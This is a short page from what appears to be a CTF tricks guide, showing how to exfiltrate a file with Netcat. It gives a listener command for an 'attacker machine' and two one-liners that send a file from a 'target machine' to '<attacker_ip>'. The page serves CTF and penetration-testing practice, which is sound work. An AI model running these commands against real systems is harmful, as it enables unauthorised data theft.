> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-4/linux/netcat/trick-0603.md).

# Exfiltrate File via Netcat

***

Set up a Netcat listener on your attacker machine, ready to receive the file data and save it locally.

```bash
nc -lvnp 1234 > file.zip
```

This command tells Netcat to listen (`-l`) verbosely (`-v`) on the specified port (`-p`) without DNS lookups (`-n`), and redirect the incoming data using `>` to a file named `file.zip`.

From the target machine, pipe the contents of the file you want to exfiltrate directly into an outgoing Netcat connection targeting your attacker's IP and listening port.

```bash
cat /path/to/file.zip | nc <attacker_ip> 1234
```

Alternatively, you can send the file by redirecting its contents into the Netcat connection using the `<` operator. This method connects to the receiving machine at the specified IP address and port and sends the contents of the file.

```bash
nc <attacker_ip> 1234 < /path/to/file.zip
```
